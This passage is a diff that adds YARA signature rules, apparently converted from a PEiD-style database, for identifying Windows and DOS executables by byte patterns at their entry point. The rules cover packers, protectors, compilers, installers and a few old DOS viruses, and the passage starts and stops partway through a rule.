+		$0 = {C1 E0 06 EB 02 CD 20 EB 01 27 EB 01 24 BE 80 ?? 42 00 49 EB 01 99 8D 1D F4 00 00 00 EB 01 5C F7 D8 1B CA EB 01 31 8A 16 80 E9 41 EB 01 C2 C1 E0 0A EB 01 A1 81 EA A8 8C 18 A1 34 46 E8 01 00 00 00 62 59 32 D3 C1 C9 02 EB 01 68 80 F2 1A 0F BE C9 F7 D1 2A D3}
+		$1 = {C1 E0 06 EB 02 CD 20 EB 01 27 EB 01 24 BE 80 ?? 42 00 49 EB 01 99 8D 1D F4 00 00 00 EB 01 5C F7 D8 1B CA EB 01 31 8A 16 80 E9 41 EB 01 C2 C1 E0 0A EB 01 A1 81 EA A8 8C 18 A1 34 46 E8 01 00 00 00 62 59 32 D3 C1 C9 02 EB 01 68 80 F2 1A 0F BE C9 F7 D1 2A D3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FreeBasic_014_
+{
+	meta:
+		description = "FreeBasic 0.14"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 ?? 00 00 00 FF 15 ?? ?? ?? 00 E8 ?? FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 89 E5 83 EC 08 8B 45 08 89 04 24 FF 15 ?? ?? ?? 00 89 EC 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _Themida_18xx__Oreans_Technologies_
+{
+	meta:
+		description = "Themida 1.8.x.x -> Oreans Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D 37 ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D 26 00 00 00 B9 EF 01 00 00 C6 00 E9 83 E9 05 89 48 01 61 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_VOB_ProtectCD_5__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [VOB ProtectCD 5] --> Anorganix"
+	strings:
+		$0 = {36 3E 26 8A C0 60 E8 00 00 00 00 E9}
+		$1 = {36 3E 26 8A C0 60 E8 00 00 00 00 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASPack_v10802_
+{
+	meta:
+		description = "ASPack v1.08.02"
+	strings:
+		$0 = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ED 23 6A 44 00 BB 10 ?? 44 00 03 DD 2B 9D 72}
+		$1 = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ED 23 6A 44 00 BB 10 ?? 44 00 03 DD 2B 9D 72}
+		$2 = {90 90 75 01 90 E9}
+		$3 = {90 75 01 90 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _COMPACK_v45_2_
+{
+	meta:
+		description = "COMPACK v4.5 (2)"
+	strings:
+		$0 = {BE ?? ?? E8 ?? ?? 5D 83 ?? ?? 55 50 53 51 52 0E 07 0E 1F 8B CE}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v177_
+{
+	meta:
+		description = "Armadillo v1.77"
+	strings:
+		$0 = {55 8B EC 6A FF 68 B0 71 40 00 68 6C 37 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 B0 71 40 00 68 6C 37 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CrypKey_V61X_DLL__CrypKey_Canada_Inc_
+{
+	meta:
+		description = "CrypKey V6.1X DLL -> CrypKey (Canada) Inc."
+	strings:
+		$0 = {83 3D ?? ?? ?? ?? 00 75 34 68 ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v140b5__v140b6_
+{
+	meta:
+		description = "PECompact v1.40b5 - v1.40b6"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 8A 11}
+	condition:
+		$0 at entrypoint
+}
+rule _AHpack_01__FEUERRADER_h_
+{
+	meta:
+		description = "AHpack 0.1 -> FEUERRADER (h)"
+	strings:
+		$0 = {60 68 54 ?? ?? ?? B8 48 ?? ?? ?? FF 10 68 B3 ?? ?? ?? 50 B8 44 ?? ?? ?? FF 10 68 00 ?? ?? ?? 6A 40 FF D0 89 05 CA ?? ?? ?? 89 C7 BE 00 10 ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41}
+		$1 = {60 68 54 ?? ?? ?? B8 48 ?? ?? ?? FF 10 68 B3 ?? ?? ?? 50 B8 44 ?? ?? ?? FF 10 68 00 ?? ?? ?? 6A 40 FF D0 89 05 CA ?? ?? ?? 89 C7 BE 00 10 ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_v090_
+{
+	meta:
+		description = "PECompact v0.90"
+	strings:
+		$0 = {EB 06 68 ?? ?? 40 00 C3 9C 60 BD ?? ?? 00 00 B9 02 00 00 00 B0 90 8D BD 7A 42 40 00 F3 AA 01 AD D9 43 40 00 FF B5}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_PENightMare_2_Beta__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PENightMare 2 Beta] --> Anorganix"
+	strings:
+		$0 = {60 E9 10 00 00 00 EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A E9}
+		$1 = {60 E9 10 00 00 00 EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Safeguard_10__Simonzh_
+{
+	meta:
+		description = "Safeguard 1.0 -> Simonzh"
+	strings:
+		$0 = {E8 00 00 00 00 EB 29}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_CodeSafe_20__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [CodeSafe 2.0] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 10 53 56 57 E8 C4 01 00 85}
+		$1 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 10 53 56 57 E8 C4 01 00 85}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _WWPACK_v300_v301_Relocations_pack_
+{
+	meta:
+		description = "WWPACK v3.00, v3.01 (Relocations pack)"
+	strings:
+		$0 = {BE ?? ?? BA ?? ?? BF ?? ?? B9 ?? ?? 8C CD 8E DD 81 ED ?? ?? 06 06 8B DD 2B DA 8B D3 FC}
+	condition:
+		$0 at entrypoint
+}
+rule _MicroJoiner_17__coban2k_
+{
+	meta:
+		description = "MicroJoiner 1.7 -> coban2k"
+	strings:
+		$0 = {BF 00 10 40 00 8D 5F 21 6A 0A 58 6A 04 59 60 57 E8 8E 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_072_
+{
+	meta:
+		description = "UPX 0.72"
+	strings:
+		$0 = {60 E8 00 00 00 00 83 CD FF 31 DB 5E}
+	condition:
+		$0 at entrypoint
+}
+rule _y0das_Crypter_v1x__Modified_
+{
+	meta:
+		description = "y0da's Crypter v1.x / Modified"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? B9 ?? ?? 00 00 8D BD ?? ?? ?? ?? 8B F7 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_v20b4_
+{
+	meta:
+		description = "Nullsoft Install System v2.0b4"
+	strings:
+		$0 = {83 EC 14 83 64 24 04 00 53 55 56 57 C6 44 24 13 20 FF 15 30 70 40 00 BE 00 20 7A 00 BD 00 04 00 00 56 55 FF 15 C4 70 40 00 56 E8 7D 2B 00 00 8B 1D 8C 70 40 00 6A 00 56 FF D3 BF 80 92 79 00 56 57 E8 15 26 00 00 85 C0 75 38 68 F8 91 40 00 55 56 FF 15 60 71}
+		$1 = {83 EC 10 53 55 56 57 C7 44 24 14 F0 91 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 88 72 40 00 BE 00 D4 42 00 BF 00 04 00 00 56 57 A3 60 6F 42 00 FF 15 C4 70 40 00 E8 9F FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 60 71 40 00}
+	condition:
+		$0 or $1
+}
+rule _ExeBundle_v30_standard_loader_
+{
+	meta:
+		description = "ExeBundle v3.0 (standard loader)"
+	strings:
+		$0 = {00 00 00 00 60 BE 00 B0 42 00 8D BE 00 60 FD FF C7 87 B0 E4 02 00 31 3C 4B DF 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB}
+		$1 = {00 00 00 00 60 BE 00 B0 42 00 8D BE 00 60 FD FF C7 87 B0 E4 02 00 31 3C 4B DF 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FucknJoy_v10c__UsAr_
+{
+	meta:
+		description = "Fuck'n'Joy v1.0c -> UsAr"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED D8 05 40 00 FF 74 24 20 E8 8C 02 00 00 0B C0 0F 84 2C 01 00 00 89 85 6C 08 40 00 8D 85 2F 08 40 00 50 FF B5 6C 08 40 00 E8 EF 02 00 00 0B C0 0F 84 0C 01 00 00 89 85 3B 08 40 00 8D 85 3F 08 40 00 50 FF B5 6C 08 40 00 E8 CF 02 00}
+		$1 = {60 E8 00 00 00 00 5D 81 ED D8 05 40 00 FF 74 24 20 E8 8C 02 00 00 0B C0 0F 84 2C 01 00 00 89 85 6C 08 40 00 8D 85 2F 08 40 00 50 FF B5 6C 08 40 00 E8 EF 02 00 00 0B C0 0F 84 0C 01 00 00 89 85 3B 08 40 00 8D 85 3F 08 40 00 50 FF B5 6C 08 40 00 E8 CF 02 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PowerBASICWin_800_
+{
+	meta:
+		description = "PowerBASIC/Win 8.00"
+	strings:
+		$0 = {55 8B EC 53 56 57 BB 00 ?? ?? 00 66 2E F7 05 ?? ?? 40 00 04 00 75 05 E9 14 04 00 00 E9 19 02}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXHiT_001__sibaway7yahoocom_
+{
+	meta:
+		description = "UPX$HiT 0.0.1 -> sibaway7@yahoo.com"
+	strings:
+		$0 = {E2 FA 94 FF E0 61 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _PseudoSigner_02_BJFNT_12__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [.BJFNT 1.2] --> Anorganix"
+	strings:
+		$0 = {EB 02 69 B1 83 EC 04 EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB 00}
+		$1 = {EB 02 69 B1 83 EC 04 EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MEW_10_by_Northfox_
+{
+	meta:
+		description = "MEW 10 by Northfox"
+	strings:
+		$0 = {33 C0 E9 ?? ?? FF FF ?? 1C ?? ?? 40}
+	condition:
+		$0
+}
+rule _UPX_v051_
+{
+	meta:
+		description = "UPX v0.51"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 8D B0 D8 01 ?? ?? 83 CD FF 31 DB ?? ?? ?? ?? 01 DB 75 07 8B 1E 83 EE FC 11 DB 73 0B 8A 06 46 88 07 47 EB EB 90}
+	condition:
+		$0 at entrypoint
+}
+rule _PEBundle_v244_
+{
+	meta:
+		description = "PEBundle v2.44"
+	strings:
+		$0 = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 83 BD}
+	condition:
+		$0 at entrypoint
+}
+rule _EXEPACK_v531009_LINK_v369_
+{
+	meta:
+		description = "EXEPACK v5.31.009 (LINK v3.69)"
+	strings:
+		$0 = {8B E8 8C C0}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Borland_Cpp_1999__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Borland C++ 1999] --> Anorganix"
+	strings:
+		$0 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 90 90 90 90 A1 ?? ?? ?? ?? A3}
+		$1 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 90 90 90 90 A1 ?? ?? ?? ?? A3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FSG_v133_
+{
+	meta:
+		description = "FSG v1.33"
+	strings:
+		$0 = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73}
+	condition:
+		$0 at entrypoint
+}
+rule _EXELOCK_666_15_
+{
+	meta:
+		description = "EXELOCK 666 1.5"
+	strings:
+		$0 = {BA ?? ?? BF ?? ?? EB ?? EA ?? ?? ?? ?? 79 ?? 7F ?? 7E ?? 1C ?? 48 78 ?? E3 ?? 45 14 ?? 5A E9}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v126b1__v126b2_
+{
+	meta:
+		description = "PECompact v1.26b1 - v1.26b2"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? 05 0E}
+	condition:
+		$0 at entrypoint
+}
+rule _NeoLite_v200_
+{
+	meta:
+		description = "NeoLite v2.00"
+	strings:
+		$0 = {8B 44 24 04 23 05 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 04 FE 05 ?? ?? ?? ?? 0B C0 74}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v110b1_
+{
+	meta:
+		description = "PECompact v1.10b1"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 28 63 40 ?? 87 DD 8B 85 AD 63}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v285_
+{
+	meta:
+		description = "Armadillo v2.85"
+	strings:
+		$0 = {55 8B EC 6A FF 68 68 ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 24}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V111__ap0x_
+{
+	meta:
+		description = "RLPack V1.11 -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 4A 02 00 00 8D 9D 11 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _EZIP_v10_
+{
+	meta:
+		description = "EZIP v1.0"
+	strings:
+		$0 = {E9 19 32 00 00 E9 7C 2A 00 00 E9 19 24 00 00 E9 FF 23 00 00 E9 1E 2E 00 00 E9 88 2E 00 00 E9 2C}
+		$1 = {E9 19 32 00 00 E9 7C 2A 00 00 E9 19 24 00 00 E9 FF 23 00 00 E9 1E 2E 00 00 E9 88 2E 00 00 E9 2C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01_Armadillo_300__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Armadillo 3.00] --> Anorganix"
+	strings:
+		$0 = {60 E8 2A 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 85 E9}
+		$1 = {60 E8 2A 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 85 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _DBPE_v210_
+{
+	meta:
+		description = "DBPE v2.10"
+	strings:
+		$0 = {9C 6A 10 73 0B EB 02 C1 51 E8 06 ?? ?? ?? C4 11 73 F7 5B CD 83 C4 04 EB 02 99 EB FF 0C 24 71 01 E8 79 E0 7A 01 75 83 C4 04 9D EB 01 75 68 5F 20 40 ?? E8 B0 EF FF FF 72 03 73 01 75 BE}
+		$1 = {9C 6A 10 73 0B EB 02 C1 51 E8 06 ?? ?? ?? C4 11 73 F7 5B CD 83 C4 04 EB 02 99 EB FF 0C 24 71 01 E8 79 E0 7A 01 75 83 C4 04 9D EB 01 75 68 5F 20 40 ?? E8 B0 EF FF FF 72 03 73 01 75 BE}
+		$2 = {EB 20 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9C 55 57 56 52 51 53 9C E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? EB 58 75 73 65 72 33 32 2E 64 6C 6C ?? 4D 65 73 73 61 67 65 42 6F 78 41 ?? 6B 65 72 6E 65 6C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Armadillo_v275a_
+{
+	meta:
+		description = "Armadillo v2.75a"
+	strings:
+		$0 = {55 8B EC 6A FF 68 68 ?? ?? ?? 68 D0 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 28 ?? ?? ?? 33 D2 8A D4 89 15 24}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v252_
+{
+	meta:
+		description = "Armadillo v2.52"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? E0 ?? ?? ?? ?? 68 D4 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 38}
+		$1 = {55 8B EC 6A FF 68 E0 ?? ?? ?? 68 D4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 38}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Predator2448_
+{
+	meta:
+		description = "Vx: Predator.2448"
+	strings:
+		$0 = {0E 1F BF ?? ?? B8 ?? ?? B9 ?? ?? 49 ?? ?? ?? ?? 2A C1 4F 4F ?? ?? F9 CC}
+	condition:
+		$0 at entrypoint
+}
+rule _CrypKey_V56X_DLL__Kenonic_Controls_Ltd_
+{
+	meta:
+		description = "CrypKey V5.6.X DLL -> Kenonic Controls Ltd."
+	strings:
+		$0 = {8B 1D ?? ?? ?? ?? 83 FB 00 75 0A E8 ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_EXE_Protector_18_
+{
+	meta:
+		description = "Private EXE Protector 1.8"
+	strings:
+		$0 = {BB DC EE 0D 76 D9 D0 8D 16 85 D8 90 D9 D0}
+	condition:
+		$0 at entrypoint
+}
+rule _PEtite_v14_
+{
+	meta:
+		description = "PEtite v1.4"
+	strings:
+		$0 = {66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC}
+		$1 = {66 9C 60 50 8B D8 03 ?? 68 54 BC ?? ?? 6A ?? FF 50 14 8B CC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ExeBundle_v30_small_loader_
+{
+	meta:
+		description = "ExeBundle v3.0 (small loader)"
+	strings:
+		$0 = {00 00 00 00 60 BE 00 F0 40 00 8D BE 00 20 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11}
+		$1 = {00 00 00 00 60 BE 00 F0 40 00 8D BE 00 20 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Setup2Go_Installer_Stub_
+{
+	meta:
+		description = "Setup2Go Installer Stub"
+	strings:
+		$0 = {5B 53 45 54 55 50 5F 49 4E 46 4F 5D 0D 0A 56 65 72}
+	condition:
+		$0
+}
+rule _Armadillo_v200b2200b3_
+{
+	meta:
+		description = "Armadillo v2.00b2-2.00b3"
+	strings:
+		$0 = {55 8B EC 6A FF 68 00 F2 40 00 68 C4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 00 F2 40 00 68 C4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_v10061_
+{
+	meta:
+		description = "Obsidium v1.0.0.61"
+	strings:
+		$0 = {E8 AF 1C 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UpxLock_10__12__CyberDoom__TeamX__BoB__BobSoft_
+{
+	meta:
+		description = "Upx-Lock 1.0 - 1.2 --> CyberDoom / Team-X & BoB / BobSoft"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 48 12 40 00 60 E8 2B 03 00 00 61}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v108x_
+{
+	meta:
+		description = "ASPack v1.08.x"
+	strings:
+		$0 = {60 EB 03 5D FF E5 E8 F8 FF FF FF 81 ED 1B 6A 44 00 BB 10 6A 44 00 03 DD 2B 9D 2A}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v114_v115_v120_3_
+{
+	meta:
+		description = "PKLITE v1.14, v1.15, v1.20 (3)"
+	strings:
+		$0 = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B ?? ?? ?? 72 ?? B4 09 BA ?? 01 CD 21 CD 20 4E 6F}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Microsoft_Visual_Cpp_70_DLL__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Microsoft Visual C++ 7.0 DLL] --> Anorganix"
+	strings:
+		$0 = {55 8D 6C 01 00 81 EC 00 00 00 00 8B 45 90 83 F8 01 56 0F 84 00 00 00 00 85 C0 0F 84}
+		$1 = {55 8D 6C 01 00 81 EC 00 00 00 00 8B 45 90 83 F8 01 56 0F 84 00 00 00 00 85 C0 0F 84}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PEArmor_046__Hying_
+{
+	meta:
+		description = "PE-Armor 0.46 -> Hying"
+	strings:
+		$0 = {E8 AA 00 00 00 2D ?? ?? ?? 00 00 00 00 00 00 00 00 3D}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_V071__cyberbob_
+{
+	meta:
+		description = "PESpin V0.71 -> cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Backfont900_
+{
+	meta:
+		description = "Vx: Backfont.900"
+	strings:
+		$0 = {E8 ?? ?? B4 30 CD 21 3C 03 ?? ?? B8 ?? ?? BA ?? ?? CD 21 81 FA ?? ?? ?? ?? BA ?? ?? 8C C0 48 8E C0 8E D8 80 ?? ?? ?? 5A ?? ?? 03 ?? ?? ?? 40 8E D8 80 ?? ?? ?? 5A ?? ?? 83}
+	condition:
+		$0 at entrypoint
+}
+rule _Metrowerks_CodeWarrior_v20_GUI_
+{
+	meta:
+		description = "Metrowerks CodeWarrior v2.0 (GUI)"
+	strings:
+		$0 = {55 89 E5 53 56 83 EC 44 55 B8 FF FF FF FF 50 50 68 ?? ?? 40 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? 00 00 E8 ?? ?? 00 00 E8}
+	condition:
+		$0
+}
+rule _EP_ExE_Pack_V10__Elite_Coding_Group_
+{
+	meta:
+		description = "!EP (ExE Pack) V1.0 -> Elite Coding Group"
+	strings:
+		$0 = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10}
+	condition:
+		$0 at entrypoint
+}
+rule _PENightMare_2_Beta_
+{
+	meta:
+		description = "PENightMare 2 Beta"
+	strings:
+		$0 = {60 E9 ?? ?? ?? ?? EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A}
+	condition:
+		$0 at entrypoint
+}
+rule _MASM__TASM_
+{
+	meta:
+		description = "MASM / TASM"
+	strings:
+		$0 = {6A 00 E8 ?? ?? 00 00 A3 ?? 32 40 00 E8 ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Cracked_by_AutoHack_1_
+{
+	meta:
+		description = "Cracked by AutoHack (1)"
+	strings:
+		$0 = {FA 50 51 57 56 1E 06 2E 80 3E ?? ?? ?? 74 ?? 8E 06 ?? ?? 2B FF FC}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_XCR_011__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [XCR 0.11] --> Anorganix"
+	strings:
+		$0 = {60 8B F0 33 DB 83 C3 01 83 C0 01}
+		$1 = {60 8B F0 33 DB 83 C3 01 83 C0 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PC_Shrinker_v029_
+{
+	meta:
+		description = "PC Shrinker v0.29"
+	strings:
+		$0 = {BD ?? ?? ?? ?? 01 AD 55 39 40 ?? 8D B5 35 39 40}
+	condition:
+		$0 at entrypoint
+}
+rule _PIRIT_v15_
+{
+	meta:
+		description = "PIRIT v1.5"
+	strings:
+		$0 = {B4 4D CD 21 E8 ?? ?? FD E8 ?? ?? B4 51 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _PEEncrypt_v40b_JunkCode_
+{
+	meta:
+		description = "PEEncrypt v4.0b (JunkCode)"
+	strings:
+		$0 = {66 ?? ?? 00 66 83 ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v071__v072_
+{
+	meta:
+		description = "UPX v0.71 - v0.72"
+	strings:
+		$0 = {60 E8 00 00 00 00 83 CD FF 31 DB 5E 8D BE FA ?? ?? FF 57 66 81 87 ?? ?? ?? ?? ?? ?? 81 C6 B3 01 ?? ?? EB 0A ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v25_Retail__Bitsum_Technologies_
+{
+	meta:
+		description = "PECompact v2.5 Retail -> Bitsum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? 01 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CrypKey_V56X__Kenonic_Controls_Ltd_
+{
+	meta:
+		description = "CrypKey V5.6.X -> Kenonic Controls Ltd."
+	strings:
+		$0 = {E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 00 75 07 6A 00 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Trivial46_
+{
+	meta:
+		description = "Vx: Trivial.46"
+	strings:
+		$0 = {B4 4E B1 20 BA ?? ?? CD 21 BA ?? ?? B8 ?? 3D CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_LCC_Win32_1x__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [LCC Win32 1.x] --> Anorganix"
